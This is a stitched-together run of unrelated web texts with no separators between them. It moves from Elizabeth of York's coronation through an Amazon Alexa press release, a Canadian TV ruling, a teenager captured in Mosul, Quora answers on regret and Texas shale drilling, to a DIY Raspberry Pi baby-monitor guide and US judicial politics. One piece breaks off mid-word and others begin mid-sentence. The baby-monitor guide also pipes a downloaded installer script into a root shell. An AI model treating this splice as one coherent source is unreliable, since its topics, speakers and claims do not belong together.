On the 24th, she rode through London to Westminster. The crowd was immense as it was her first public appearance since her marriage, and everyone was anxious to behold her. Apparently, she did not disappoint. As Agnes Strickland puts it in her wonderful Lives of the Queens of England,
[S]he had not completed her twenty-second year, her figure was, like that of her majestic father, tall and elegant, her complexion brilliantly fair and her serene eyes and perfect features were now lighted up with the lovely expression maternity ever gives to a young woman whose disposition is truly estimable. The royal apparel, in which her loving subjects were so anxious to see her arrayed, consisted of a kirtle of white cloth of gold, damasked and a mantle of the same, furred with ermine, fastened on the breast with a great lace or cordon, curiously wrought of gold and silk, finished with rich knobs of gold and tassels. ‘On her fair yellow hair, hanging at length down her back, she wore a caul of pipes and a circle of gold, richly adorned with gems.’”
Then, on the day itself, she was even more majestic – and provoked a near-riot:
“The next day she was attired in a kirtle of purple velvet, furred with ermine bands in front. On her hair she wore a circlet of gold, set with large pearls and colored gems. She entered Westminster Hall with her attendants, and waited under a canopy of state till she proceeded to the abbey. The way thither was carpeted with striped cloth, which sort of covering had been, from time immemorial, the perquisite of the common people. But the multitude in this case crowded so eagerly to cut off pieces of the cloth, ere the queen had well passed, that before she entered the abbey several of them were trampled to death, and the procession of the queen’s ladies “broken and distroubled.”
Elizabeth’s mom, Elizabeth Woodville, was not present – she was suspected of having been involved in the 1487 Yorkist rebellion that claimed that Lambert Simnel was the true king of England and was sent to remote Bermondsey Abbey where she took up a quiet, contemplative life. Elizabeth’s step-brother Thomas Grey, Earl of Huntingdon and Marquess of Dorset, had been caught up in that same rebellion and sent to the Tower, but was liberated and allowed to assist the coronation. Part of the reconciliation, after all!
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Like this: Like Loading...SEATTLE--(BUSINESS WIRE)--(NASDAQ: AMZN)—Amazon today announced an all-new Alexa feature that lets you control and synchronize music across multiple Amazon Echo devices in your home. Starting today, you can target music to a specific Echo device or a group of devices—just ask. Soon, this ability will be extended to control multi-room music on other connected speakers using simply your voice.
“In just the last few months, we’ve added dozens of new features to Alexa that enhance your entertainment experience—control of Amazon Fire TV and your home entertainment systems via Echo; music lyrics, Amazon Video, and movie trailers on Echo Show; and activity-based music searches—and we’re just getting started,” said Toni Reid, Vice President, Amazon Alexa. “Today, we’re making Alexa even smarter with an all-new feature that lets you play music synchronized on multiple Echo devices to provide room-filling music throughout your home.”
Multi-Room Music on Amazon Echo, Echo Dot, and Echo Show
You can now synchronize your music playback across Echo devices to play songs from Amazon Music, TuneIn, iHeartRadio, and Pandora, with support for Spotify and SiriusXM coming soon. Simply use the Alexa App to create groups with two or more Echo devices by naming the group, such as “downstairs.” Once you’ve created the group, simply say “Alexa, play John Mayer downstairs.”
Customers in the US, UK, and Germany can start using multi-room music today on their Echo, Echo Dot, and Echo Show devices.
New Tools Let Device Makers Create Additional Voice-Controlled Music Experiences with Alexa
Amazon also announced two new sets of tools for developers to bring multi-room music control to their speakers.
Alexa Voice Service (AVS) Multi-Room Music SDK
Amazon is introducing new tools that enable AVS device makers to integrate with Amazon Alexa Multi-Room Music. Doing so will allow customers to play their music across supported Echo and AVS devices—for example, a customer with three Echo devices and two standalone AVS speakers can play synchronized music across all five devices. These tools will be available early next year.
Connected Speaker APIs
These new tools enable device makers with connected audio systems to control music playback using Alexa. A customer can then use any Alexa-enabled device – for example an Echo Dot – to play music throughout their home on their connected audio systems. Amazon is excited to be working with leading brands on this offering, including Sonos, Bose, Sound United, and Samsung.
“Alexa set the standard for voice in smart homes, so working with Amazon to bring voice control to Sonos for the first time was an obvious choice,” said Antoine Leblond, VP of Software, Sonos. “This has been a close collaboration from the beginning as we’ve worked together to combine the magic of Alexa with the seamless multi-room audio capabilities that Sonos pioneered. We’re proud of the work we’ve done together as Amazon’s first multi-room partner – all you’ll need is an Alexa-enabled device and playing music out loud on Sonos will be as easy as saying ‘Alexa, play music in the living room.’”
“Sound United is constantly striving to provide consumers with the best possible user experience. With AI voice services simplifying how we control our home environments and products, we’re excited Denon, Marantz, and HEOS customers will be some of the first to experience Alexa multi-room audio compatibility and the power of voice control,” said Kevin Duffy, CEO and president, Sound United. “Soon, users will be able to play their favorite song, alter the volume, or change an input in any room where our connected products are placed, simply by asking Alexa to do so.”
“We’re thrilled to integrate Alexa multi-room audio with Samsung speakers,” said Jun Young Kim, Vice President of AV Business Team, Samsung. “With Alexa multi-room audio and Samsung, customers will simply be able to ask Alexa to play their favorite music in any room of the house – using only their voice. Listening to great music on Samsung speakers has never been easier.”
The Connected Speaker APIs are available in developer preview starting today.
Device makers can learn more about the new AVS developer tools here.
About Amazon
Amazon is guided by four principles: customer obsession rather than competitor focus, passion for invention, commitment to operational excellence, and long-term thinking. Customer reviews, 1-Click shopping, personalized recommendations, Prime Fulfillment by Amazon, AWS, Kindle Direct Publishing, Kindle, Fire tablets, Amazon Fire TV, Amazon Echo, and Alexa are some of the products and services pioneered by Amazon. For more information, visit www.amazon.com/about and follow @AmazonNews.Robert Peston examines how decisions taken 30 years ago shaped the world we live in today, and concludes that the West faces a sobering wake-up call.
In the teeth of the worst financial crisis in living memory, BBC business editor Robert Peston examines how the world got to this point and how the collossal imbalances in the global economy have left the UK in need of a radical economic overhaul.
In this first of two programmes Peston examines how, thirty years ago, momentous decisions were taken which shaped the world we live in today. In China, Deng Xiao Ping opened up the country to foreign capitalists; in Britain and America, the free market revolution was unleashed by Margaret Thatcher and Ronald Reagan. The Party's Over compares the lives of workers in a Chinese company with their co-workers in Britain.
Robert Peston interviews bankers, politicians and economists, and concludes that the boom we enjoyed before the crash was based on an illusion, and that the world's economy is now so unbalanced that in the West we face a sobering wake-up call.GATINEAU, Quebec (Reuters) - Canadian television viewers will no longer be forced to pay for vast numbers of channels they do not watch, the country’s broadcast regulator said in a sweeping ruling on Thursday.
The Canadian Radio-television and Telecommunications Commission (CRTC) said cable and satellite providers had to offer viewers an affordable basic package and allow them to choose additional channels.
Most distributors currently package groups of channels into thematic bundles, which they say means more choice is available at a lower per-channel cost. Consumer advocates complain that viewers are forced to pay for channels they never watch.
The CRTC said cable and satellite companies will have until March 2016 to provide an entry-level television service that includes local channels capped at C$25 ($19.70) a month.
Subscribers will be then be able to add individual channels - known as “pick-and-pay” - or small packages. Companies will have to offer either the pick-and-pay or small bundle option by March 2016, and offer both by December 2016.
CRTC chairman Jean-Pierre Blais said the commission was not making decisions for viewers.
“It is about setting out a roadmap to give all Canadians the freedom to choose the television content that meets their unique needs, budgets and realities,” he told reporters.
The move will be closely watched south of the border, where U.S. media companies have resisted flexible programming, arguing that costs for individual channels will rise sharply.
While the new framework could hurt channels that are left to live or die on their own merits rather than being packaged with popular channels, it could also help cable companies limit viewer defections to cheaper Internet-based offerings from companies such as Netflix Inc (NFLX.O).
“There may indeed be services that will not survive, and there will be job losses,” said Blais, adding he was confident “good companies” would find ways to thrive.
The ruling could fundamentally alter how distribution deals are structured, since it will also allow pay-television services to offer feeds on an individual basis.
For example, viewers currently cannot watch HBO Canada without also subscribing to an associated movie service.
Federal Heritage Minister Shelly Glover - who has overall responsibility for broadcasting - welcomed the ruling.
“Canadian families expect choice and fair treatment when it comes to their spending on everyday items and services,” she said in a statement.A German teenager who ran away from home to join the ISIS terror group and become the child bride of an Islamic terrorist could face the death penalty after being captured by Iraqi soldiers during the battle for Mosul.
The footage shows the visibly scared and partly crying girl paraded through the street and the baying Iraqi soldiers holding her by the arms.
Last month, Iraqi security forces completed the recapture of the northern Iraqi city of Mosul, handing the ISIS terror organization a major defeat in the country’s autonomous Kurdish region.
Following the ISIS defeat in Mosul, Iraqi soldiers captured a 16-year old German girl, who was later identified as Linda Wenzel.
After her capture, Iraqi army forces paraded Wenzel through the streets. On Monday, footage of her capture was released, showing Wenzel being led by jeering Iraqi soldiers through the streets of the newly-liberated Mosul, conjuring up memories of French women who consorted with Germans being paraded through Paris at the war’s end, while bystanders jeered.
A native of Pulsnitz, Germany, Wenzel converted to Islam a year ago at the age of 15, after having been radicalized over the internet.
“The girl is 16, she got into all this mess at 14, via the Internet. I think she should return. Everyone has a right to make a mistake, everyone should get a second chance,” a neighbor told RT.
Wenzel fled Germany, making her way to ISIS-held territory in Iraq, where she became the child bride of a Chechen-born ISIS terrorist.
According to Reuters, Germany’s foreign ministry is in contact with Wenzel and working to secure her return to Germany. But as a member of a terrorist group, Wenzel could potentially face the death penalty in Iraq.Save your regrets for when you’re older.
Photo by Sean Gallup/Getty Images
This question originally appeared on Quora.
Answer by Gary Teal: You ask what people in their 30s, 40s, and older regret when they look back at their lives. I suppose it’s wise of you as a teenager to think about how you might avoid a future regret. But I’d counsel you to take any good path open to you, do the best you can, and be happy. Save regrets for your 50s and sixties. And you will have them. This may sound a little melodramatic, but no matter how happy you are, at my age, your regrets are countless. You have made decades’ worth of little miscalculations you can’t completely erase from your memory, as well as a number of big mistakes that made life permanently harder. Divide regrets into three groups:
The things you did that you wish you hadn’t.
At your young age, you most likely exaggerate the impact of your previous errors. If you’ve done something truly and dreadfully wrong, you are the reason we have a system that protects the identity of juveniles. Either way, you have a lot of time to recover. By age 50, you laugh (if uneasily) about the mistakes you made when you were younger. After all, you see young people making those same mistakes, even when you have drawn them a picture of how to avoid them. Your sins of commission somehow seem not so disturbing, because in all but the worst cases, they’re part of your story now, even if they left scars. You can joke about them with your oldest friends and your family. They played a part in making you who you are. Forgive yourself.
The things you wish you had done but didn’t.
At your age, you may be sorry that you didn’t try to kiss Janie on your first date with her last Friday, but you have the boundless and justifiable optimism that you will kiss her soon. When you’re old like me, you’ll torture yourself over the risks you didn’t take, and the opportunities you missed by failing to act. There is the haunting question of whether, even if you actually made the best decision at the time by not doing what you might have, those actions could, in retrospect, have been good mistakes to make at that point in your life. Maybe it would have been a good time to learn a painful lesson. On the other hand, maybe you really did miss your main chance. You could be living in a nicer house with a bigger car and more attractive children. Or you’d have a Nobel or an Oscar or a young trophy spouse: whatever you thought you wanted. You just can’t ever know what would have happened, good or bad. You can go over it repeatedly, and you can construct the parallel universe where you made your move. And you do, if you don’t train yourself to let it go.
The heavy cost of the time you’ve wasted.
By far, for me, the most significant regrets I have now are about lost time. I have the real sense that it is getting increasingly likely that I will die without having ever seen Machu Picchu, or learning to speak French fluently, or having built my own house. This shocks and disturbs me. As I grow older, the opportunity cost of truly pointless hours piles up. What could I have accomplished instead of playing [redacted] games of freecell? In some cases, what were once very realistic possibilities are just completely out of the question. There isn’t time for me to become a billionaire, much less be elected president. In fact, I may never be a millionaire, or even run for a seat on the school board. At my age, though some given limited subset of your original dreams may be still in reach, you have to start setting priorities. You have that heart-stopping moment when you realize that if you are fortunate enough to have some significant savings (you regret not having saved more, of course), you can only hope to take one or two truly exciting vacations a year to some wondrous place: the Hagia Sophia or the Grand Canyon. So if you don’t draw the wrong card and get prostate cancer at 63, you might make it to 20 or 30 more of the “1,000 places to see before you die.” Even that assumes that you won’t take refuge in the perfectly reasonable, natural, and comforting desire to repeat things you’ve done before and enjoyed, maybe just once, long ago. Or maybe one place becomes your regular hangout, where everybody knows your name. Very tempting.
Have a glass of cognac, look up the lyrics to Pink Floyd’s “Time,” and then have another glass of cognac. How on earth did Roger Waters write these lyrics in his late 20s? Nobody should confront those thoughts until they’re my age.
I myself am a very happy guy. I’m always aware that I have done better than most people, even in the U.S. I have never suffered, much less caused, a premature death or other tragedy in my family, and I’ve never been challenged by some significant handicap or misfortune, nor any big injustice committed by or against me. I don’t want a “do-over.” But I really can’t take seriously those people who say they wouldn’t change anything. Maybe they mean that they are quite content with how it’s going, as I am. But I could have done a lot better. There’s no question. If others say they can’t think of something they’d change, they have a very limited imagination. Don’t they wish they’d spent more time listening and talking to their grandparents? Avoided alienating some dear friend? Even if they have the soul of Mr. Burns, they might be thinking of how they could have bought RIMM at $4 and sold it at $140.
This September is my 25th anniversary, so I’m looking forward to celebrating the only important decision I ever made, and I really nailed it. That decision has defined my life, and it’s been great. Still, I wouldn’t mind being 18 again for a few hours, the one and only time I ever went out with Janie. I took her to a steakhouse, we went to see a movie, and then I walked her up to her front door and just said good night.
…
Answer by Caroline Zelonka:
I saw this cartoon in college and thought it was funny. Twenty years later, I can relate. For as long as I can remember, I have wanted to have kids. But in my younger years, I foolishly assumed that unlike certain accomplishments like a career, the marriage and kids thing would just happen.
Well, they didn’t. I dated plenty of people but never even thought about making family a priority. Then, in my late 30s, a bout with ovarian cancer left me permanently infertile.
I think about the kids I never had every day, several times a day. I have a great relationship with my nieces and nephews, and I volunteer at a children’s hospital on a regular basis, but it’s just not the same to be around other people’s kids. I would love to adopt or be a foster mother, and hopefully be in a financial and domestic situation that would make this feasible one day.
But again, not the same. And it pisses me off when people say, “you’re lucky you don’t have kids, they’re so much work, blah blah blah.” Yes, but a lot of things in life that are worthwhile are also so much work.
I think the mothering instinct is so strong in some women that the knowledge that one will never get a chance to give birth and raise their own child goes beyond regret. One that a bar chart cannot capture. I can deal with most of my other regrets in life but am having a hard time dealing with this one.
More questions on life:A 400-mile-long sedimentary rock formation in Texas known as the Eagle Ford Shale is home to one of the country's most significant energy booms, but it's coming at a cost.
More than 7,000 oil and gas wells have popped up in the area since 2008, according to an exhaustive report from The Weather Channel, InsideClimate News and The Center for Public Integrity. But the drilling involves "releasing a toxic soup of chemicals into the air," and it's causing respiratory issues for residents.
The journalists behind the eight-month investigation joined HuffPost Live's Alyona Minkovski on Feb. 18 to share their findings and discuss what it all means.
Jim Morris, a senior reporter and editor at The Center for Public Integrity, said he was told by an industry spokesperson that the Eagle Ford Shale has become the "largest economic development zone in the world," but the people who live there are typically low-income families.
"I think that's one of the main reasons that the oil and gas industry feels sort of free to do what it wants to do, because this development is not in suburbia," Morris said. "It's in mostly rural areas. It's in a part of Texas that many people don't get to, don't go to. It's not near any of the big cities."
But Texas lawmakers have a significant financial stake in the energy-mining development at Eagle Ford, according to InsideClimate News reporter Dave Hasemyer.
"Forty-two of the 181 state legislators -- the people who are responsible for setting the rules and regulations for oil and gas development -- have a personal financial interest, either through themselves or through their spouse, of as much as $10 million total," Hasemyer said. "So there is a great incentive by the state of Texas."
See the full HuffPost Live conversation in the video below.What if I told you that a group of online users correctly predicted the winners of this year’s Super Bowl, Stanley Cup and NBA Finals before any of the playoffs had even started? You’d be impressed, for the odds of such a trifecta is over 40 to 1.
You might think this group must have been experts, maybe a team of sports writers or odds-makers, but you’d be wrong. They were nov |
there was no sexual harassment complaint and called some media commentary “ridiculously over the top”.
He admitted to telling the woman she had “piercing” eyes and putting his arm around her shoulder and kissing her on the cheek as he was leaving the bar.
“I think I’ve got to consider some of my behaviours and some choices I’ve made, particularly when I’ve been travelling,” he told the Courier, the newspaper of the Adelaide Hills.
“I was away 165 nights last year. I flew 150 odd times and I’ve found it really difficult. I’ve found the pace and intensity... not the work, but the being away... I probably too often used alcohol as a way to deal with that so I think in that sense that’s probably part of the reason for the decision.”
Briggs said he was encouraged by support from Howard and would be running for the seat of Mayo again in this year’s election.
“The one bit of advice John Howard did give, is that the thing in politics and life is that we all make mistakes, the key is no to repeat them and that’s my challenge from here is to improve as a person,” he said.
He would not comment on the seriousness of his actions but said he did not deserve a “death sentence” over his behaviour.
“Unfortunately in politics there’s not really a small price,” he said. “I am not going to get into whether the error was significant or not because, in the end, the judgment of the prime minister was that it was an error which breached the high standards of ministers. I didn’t have any choice.
An Australian politician walks into a bar … and things don't always go well Read more
“I needed to resign because it’s a very privileged position to be a minister in a commonwealth government and I need to learn from the error that I made. I shouldn’t have been in that situation. I should have been more careful. I should have been more disciplined.”
His wife Estee told the newspaper she had been “frustrated” by the media coverage and Briggs did not have a problem with alcohol but had made “bad choices”.
“Some people were suggesting there was a problem with our marriage and there isn’t and there wasn’t,” she said.
“I didn’t want to weigh in, I’m not the member, I’m not the one but I just felt ‘well look here’s our family and we are still strong and very happy together’ so that’s enough from me.”Intro
About project
Fruitnanny is a code name for a DIY geek baby monitor. It uses RaspberryPi, a NoIR camera module, infrared lights, temperature and humidity sensors, and a custom Web UI. Chrome and Firefox with native WebRTC are used as clients. Right now it means all major platforms like Windows, Linux, Android, MacOS, and iOS soon are supported.
Disclaimer
I assume that a reader worked with RaspberryPI system before and understand Linux systems. Feel free to contact me using Disqus or my email iva9im@gmail.com.
History
When my son was born in March 2016 I got a holly mission to find a video baby monitor. After some research, I didn’t find good candidates(too expensive or didn’t have some features) and, being a geek person, decided to build my own device. That time I had RaspberryPi v1 Model B which had been used for media center. My wife wasn’t happy with the idea but she didn’t have a choice.
At the beginning I thought it would be an easy task, probably someone already had built something similar. Google found dozens of projects but none of them had real-time audio and video capabilities which I wanted to have in my project. Some projects were trying to use VLC streaming, MJpeg or others technics. I was trying to use all of them but wasn’t satisfied. Then I stumbled upon UV4L project and it was promising, especially WeRTC part. I chose this project as a main software part of the project.
Another big part of the project was an additional hardware. Connect a camera to Raspberry is not a big deal, but because baby monitor works mostly during the night, it must have some infrared lights to allow night vision. Plus, it’s good to have sensors data like temperature and humidity.
I didn’t design electronics from the college and I had to refresh a knowledge.
Due to all of these initial problems I managed to build Alpha version only after two months. I called it “lunch box” version:
This version worked good but had several problems:
Audio quality was horrible. There was a loud noise(like a helicopter)and it was almost impossible to hear a baby’s cry.
Power problems. After 20-30 minutes system rebooted itself.
Ugly “lunch box” case :)
UV4L is distributed only through binaries what prevented any modifications. The biggest concern for me was a fact that I couldn’t modify a WebUI.
Some of the issues were related to low CPU power and some circuits problems in RaspberryPi v1. I didn’t find other way but upgrade to RaspberryPi v3. It’s much more powerful and suites better for video and audio processing and as a bonus contains built-in wifi.
I couldn’t spend a lot of time on the project next several months because of the baby. Progress was very slow but at the end, project was finished and contained completely changed architecture, a new WebUI and, as a bonus, a new case.
Build guide
Hardware
The final version of my device contains next parts. Some parts are mandatory(like RaspberryPi) and some are optional (infrared lights, DHT sensor, case). Parts can be bought in different places. I used AliExpress and Amazon. It’s possible to replace some parts with different compatible models (like Camera module, microphone, and all electronics).
Picture Name Links Description RaspberryPI 3 Adafruit A main part of the device
NoIR Camera Adafruit
Amazon A camera module for better night video capture. Can be replaced with v2 module Cheap iPhone lens Amazon Lens are used only to increase a view angle Power Adapter 2A Amazon Because device has external lights, sensors and intensively uses WiFi it’s recommended to use 2A power adapter Microphone Amazon The cheapest and smallest(important!) mic. Not all are good. I replaced several before find working one DHT22 sensor Amazon A sensor to gather temperature and humidity of environment 12 x Infrared LEDs
(940 nm) Adafruit Allow device to see in the darkness. More LEDs more light more power consumption 4 x resistors
(27 Ohm, 1/4 W) Amazon Resistors to pair with InfraRed LEDs TIP120 Darlington
transistor Adafruit A transistor is used to control all LEDs through GPIO. 1 x resistors
(270 Ohm, 1/4 W) Amazon A resistor to pair with the transistor
When all parts are in place it’s time to assemble them. Below is a simplified connection scheme.
DHT22 connection
It requires 3 wires to connect DHT22. First leg(+) connects to pin 17 on raspberry (3.3V). Second(control) to pin 18 (GPIO24), third one is skipped and fourth(-) connects to pin 20 (Ground).
LEDs connection
A light system is divided into 4 groups of three infrared LEDs and one 27 Ohm resistor, and TIP120 transistor. This “how to” can be useful to understand LED parameters.
All LEDs anodes(long leg) are soldered together and connected to TIP120 leg #3 (Emitter). Each of cathodes(short legs) connects to a resistor and then all together to pin 6(Ground) on raspberry.
I used next formula and datasheet to calculate resistor’s value:
R = (Vsupply – (VF x No. of LED’s)) / IF
25 Ohm = (5V - 3*1.5V) / 0.02A
27 Ohm resistor has the closest value(up) to the result.
TIP120’s #1 leg(Base) connects to pin 3 (GPIO2) through 270 Ohm transistor. This channel to control programmatically lights by changing GPIO value. Leg #2 connects to pin 2 (5V).
Several words about the transistor. RaspberryPi’s gpio pin output is maxed 16mA and 3.3V. So transistor must be able to switch state based on that pretty small amperage. After a small research I found Darlington type of transistors and bought TIP 120. It was designed for higher loads(up to 5A and 60V through Collector-Emitter) but it suits needs of this device as well.
Example of soldering:
Camera and Mic connections
Connect a microphone to any USB ports and a camera module to CSI port.
Software
When everything is assembled it’s time to breathe a life into the device.
The system is based on raspbian OS and next applications:
Janus WebRTC gateway - setup a WebRTC connections between browser and media streams.
NodeJS - is a server-side javascript environment. It’s used for 2 main purposes - 1. serve html and other content to browser, 2. run scripts on the server side.
Nginx - is a proxy to Nodejs and Janus allowing to use single URL access.
GStreamer is a library to create media pipelines. It forwards a H264 encoded video stream from camera module without modifications to browser. An audio stream is encoded using Opus codec before forwarding.
1. Raspbian setup
Get a new or existing micro SD card and flash a raspbian into it:
2. Basic configuration
Install basic software:
sudo apt-get update sudo apt-get install vim git nano emacs libraspberrypi-dev autoconf automake libtool pkg-config \ alsa-base alsa-tools alsa-utils
Install NodeJS to serve WebUI:
curl -sL https://deb.nodesource.com/setup_6.x | sudo -E bash - sudo apt install -y nodejs
Run raspberry config to enable camera and resize partition (options 1 and 5):
sudo raspi-config
Upgrade the Raspberry Pi’s firmware:
sudo apt-get install rpi-update sudo rpi-update
Follow this instruction to setup WiFi. It’s good to disable WiFi “power save mode” which is enabled by default:
sudo iw dev wlan0 set power_save off
Add line to /etc/network/interfaces
wireless-power off
Access trough.local domain (for instance pi.local or fruitnanny.local)
sudo apt-get install avahi-daemon
3. Download FruitNanny’s source code
FruitNanny repository contains web application, configs and additional tools. They all will be used later in the tutorial.
cd /opt sudo mkdir fruitnanny sudo chown pi:pi fruitnanny git clone https://github.com/ivadim/fruitnanny
4. Audio and Video pipeline setup
Install GStreamer and media plugin to allow media processing:
sudo apt-get install gstreamer1.0-tools gstreamer1.0-plugins-good gstreamer1.0-plugins-bad \ gstreamer1.0-plugins-ugly gstreamer1.0-plugins-bad libgstreamer1.0-dev \ libgstreamer-plugins-base1.0-dev gstreamer1.0-alsa
Official repository doesn’t contain a gstreamer plugin for rpi camera module, it need to be built from sources:
git clone https://github.com/thaytan/gst-rpicamsrc /tmp/gst-rpicamsrc cd /tmp/gst-rpicamsrc./autogen.sh --prefix=/usr --libdir=/usr/lib/arm-linux-gnueabihf/ make sudo make install
Files /opt/fruitnanny/bin/video.sh and /opt/fruitnanny/bin/audio.sh contain media pipepline setups
Video pipeline:
gst-launch-1.0 -v rpicamsrc name=src preview=0 exposure-mode=night fullscreen=0 bitrate=1000000 annotation-mode=time+date annotation-text-size=20! video/x-h264,width=960,height=540,framerate=8/1! queue max-size-bytes=0 max-size-buffers=0! h264parse! rtph264pay config-interval=1 pt=96! queue! udpsink host=127.0.0.1 port=5004 sync=false
Gstreamer asks rpicamsrc for annotated with datetime watermark frames in 960x540 px format and 8 fps then parses them and sends to udp port 5004.
Audio pipeline:
gst-launch-1.0 -v alsasrc device=hw:1! audioconvert! audioresample! opusenc! rtpopuspay! queue max-size-bytes=0 max-size-buffers=0! udpsink host=127.0.0.1 port=5002
Gstreamer asks alsa driver for the audio stream, parses it, resamples, encodes it with opus codec and sens it to udp port 5002.
Janus listens both 5002 and 5004 ports for incoming streams.
5. Janus WebRTC Gateway
Janus WebRTC Gateway is a WebRTC server which setup communication between browser and media streams.
Installation
# install prerequisites sudo apt-get install libmicrohttpd-dev libjansson-dev libnice-dev \ libssl-dev libsrtp-dev libsofia-sip-ua-dev libglib2.0-dev \ libopus-dev libogg-dev pkg-config gengetopt libsrtp2-dev # get Janus sources git clone https://github.com/meetecho/janus-gateway /tmp/janus-gateway cd /tmp/janus-gateway git checkout v0.2.5 # build binaries sh autogen.sh./configure --disable-websockets --disable-data-channels --disable-rabbitmq --disable-mqtt make sudo make install
Fruitannany’s specific Janus configuration files are located in folder /opt/fruitnanny/configuration/janus/ :
janus.cfg - general janus config. Compare to original file it disables only some unused plugins.
- general janus config. Compare to original file it disables only some unused plugins. janus.transport.http.cfg - enables http access to janus.
- enables http access to janus. janus.plugin.streaming.cfg - configures media streams. 5002 port for audio and 5004 for video.
Copy these files into Janus config directory:
cp /opt/fruitnanny/configuration/janus/janus.cfg /usr/local/etc/janus cp /opt/fruitnanny/configuration/janus/janus.plugin.streaming.cfg /usr/local/etc/janus cp /opt/fruitnanny/configuration/janus/janus.transport.http.cfg /usr/local/etc/janus
SSL certificates need to be generated to access Janus gateway through https protocol, same certificates will be used for Nginx:
cd /usr/local/share/janus/certs sudo openssl req -x509 -sha256 -nodes -days 365 -newkey rsa:2048 \ -keyout mycert.key -out mycert.pem
Sensors and LEDs access
Enable access to GPIO without root.
sudo adduser $USER gpio
LEDs
The application need to have ability to turn on and off infrared LEDs from browser. I added a simple shell script to the Fruitnanny which can blink with infrared light. The same file is used by NodeJS Web app.
DHT22
Install Adafruit DHT module:
git clone https://github.com/adafruit/Adafruit_Python_DHT /tmp/Adafruit_Python_DHT cd /tmp/Adafruit_Python_DHT sudo apt-get install build-essential python-dev python-pip sudo python setup.py install
After module installation Python can get data from the DHT22 sensor. As for LEDs, Fruitnanny contains a python script which prints out current temperature and humidity. The same script is run by the NodeJS Web app.
Autostart Audio, Video, NodeJS and Janus
Now we are one step closer to the final step. Main applications were installed and configured and it’s time to start them.
sudo cp /opt/fruitnanny/configuration/systemd/audio.service /etc/systemd/system/ sudo cp /opt/fruitnanny/configuration/systemd/video.service /etc/systemd/system/ sudo cp /opt/fruitnanny/configuration/systemd/janus.service /etc/systemd/system/ sudo cp /opt/fruitnanny/configuration/systemd/fruitnanny.service /etc/systemd/system/
And time to start everything:
sudo systemctl enable audio sudo systemctl start audio sudo systemctl enable video sudo systemctl start video sudo systemctl enable janus sudo systemctl start janus sudo systemctl enable fruitnanny sudo systemctl start fruitnanny
At this point you should have everything up and running. To disable some services run sudo systemctl stop SERVICE_NAME.
Modify fruitnanny_config.js to configure the baby monitor.
Params:
baby_name - baby’s name to display in UI
- baby’s name to display in UI baby_birthday - baby’s birthday
- baby’s birthday temp_unit - temperature to display in Celsius ( C ) or Fahrenheit( F )
To update baby’s picture you need to replace file public/project/img/baby.png.
Nginx
To be able to serve janus and nodejs request from one entry point URL( http://RASPBERRY_IP/ ) I set a Nginx proxy to forward requests to the NodeJS( http://127.0.0.1:7000 ) app and to the Janus( https://127.0.0.1:8089 ) gateway.
Run next commands to install and configure Nginx:
# install nginx sudo apt-get install nginx # remove default site sudo rm -f /etc/nginx/sites-enabled/default # copy fruitnanny configs sudo cp /opt/fruitnanny/configuration/nginx/fruitnanny_http /etc/nginx/sites-available/fruitnanny_http sudo cp /opt/fruitnanny/configuration/nginx/fruitnanny_https /etc/nginx/sites-available/fruitnanny_https # enable new configs sudo ln -s /etc/nginx/sites-available/fruitnanny_http /etc/nginx/sites-enabled/ sudo ln -s /etc/nginx/sites-available/fruitnanny_https /etc/nginx/sites-enabled/
These sites enable ‘basic authentication’ to protect access to the system. To add a new user and password pair run:
sudo sh -c "echo -n 'fruitnanny:' >> /etc/nginx/.htpasswd" sudo sh -c "openssl passwd -apr1 >> /etc/nginx/.htpasswd"
Now accessing http://RASPBERRY_IP/ you will be asked to enter credentials and after can see a web page with Video Player.
Possible Fix for Safary
Looks like libnice which is part of Raspberry PI disto is pretty outdated and doesn’t work with Safari browser (iOS/MacOS). To fix the problem the new version of this library need to be compiled from sources.
First, remove old version of libnice
sudo apt-get purge -y libnice-dev
Install build tools:
sudo apt-get install gcc autoconf automake libtool pkg-config gtk-doc-tools gettext python3 gengetopt
Build libnice from sources:
git clone https://gitlab.freedesktop.org/libnice/libnice /tmp/libnice cd /tmp/libnice git checkout 0.1.15 sed -i -e's/NICE_ADD_FLAG(\[-Wcast-align\])/# NICE_ADD_FLAG(\[-Wcast-align\])/g'./configure.ac sed -i -e's/NICE_ADD_FLAG(\[-Wno-cast-function-type\])/# NICE_ADD_FLAG(\[-Wno-cast-function-type\])/g'./configure.ac./autogen.sh --prefix=/usr --disable-gtk-doc make sudo make install
Case
I used SketchUp to create 3D models. It was my first experiment with 3D printing and I would fail if not help from my friend Christos. The first model I created was not designed properly and slicer(special software to transform a basic 3d model into a 3d printer language) couldn’t even read it. The second model collapsed on the printing bed and only third attempt was successful…
All models are available on Thingiverse and GitHub:
Case contains next parts:
Main case - where RaspberryPI and main electronics live
- where RaspberryPI and main electronics live Top cover - holds LEDs and Camera module
- holds LEDs and Camera module Cap - for easy access to Ethernet port
- for easy access to Ethernet port DHT22 cradle - isolates sensor from hot Raspberry PI
I love how the case looks like but next time I would make it bigger and increase size and number of ventilation holes. Currently, all electronics and wires are tightly coupled and it causes problem with heat, the case needs more airflow.
Bottom line
The guide turned out into a huge instruction but I hope it will help someone who has a similar idea of building a baby monitor. Feel free to adjust the project to your needs, you can add or remove some sensors, add or remove some functionality, create a completely different case. All my sources are opensources
On my own, I had more ideas but didn’t have time resolve all of them. Some of them:
iOS application.
Motion detection and notifications - motion application for Raspberry can detect movements using a camera, the only problem that video stream must be splittet between Janus and Motion. I almost accomplished this with GStreamer, ffmpeg and v4l2loopback. Ping me if you are interested in my findings.
logging temperature and humidity into a database for future analysis.
Thank you for your attention!WASHINGTON -- Republican senators are fuming about President Barack Obama's attempt to fill empty seats on the D.C. Circuit Court of Appeals, charging him with "court-packing" and alleging that his push to confirm nominees is all politics.
But not only is Obama not "court-packing" -- a term describing an attempt to add judges to a court with the goal of shifting the balance, not filling existing vacancies -- but Republicans' efforts to prevent Obama from appointing judges amount to their own attempt to tip the scales in their favor. What's more, some of the GOP senators trying to prevent his nominees from advancing previously voted to fill the court when there was a Republican in the White House.
As it stands, the powerful D.C. Circuit has 11 seats, three of which are vacant. Obama has signaled plans to put forward nominees for all three open slots as soon as this week. But Sen. Chuck Grassley (R-Iowa) and other Republicans are pushing legislation that would eliminate those seats and keep the court where it is: with eight judges, four of whom were appointed by Democrats and four of whom were appointed by Republicans.
Grassley has argued that the court simply doesn't need to have three more judges because it has a lighter workload than other circuit courts -- a stance that Democrats say overlooks the fact that the court is second in stature only to the Supreme Court and takes on particularly complex cases. But Grassley has also suggested that Obama is trying to pack the court.
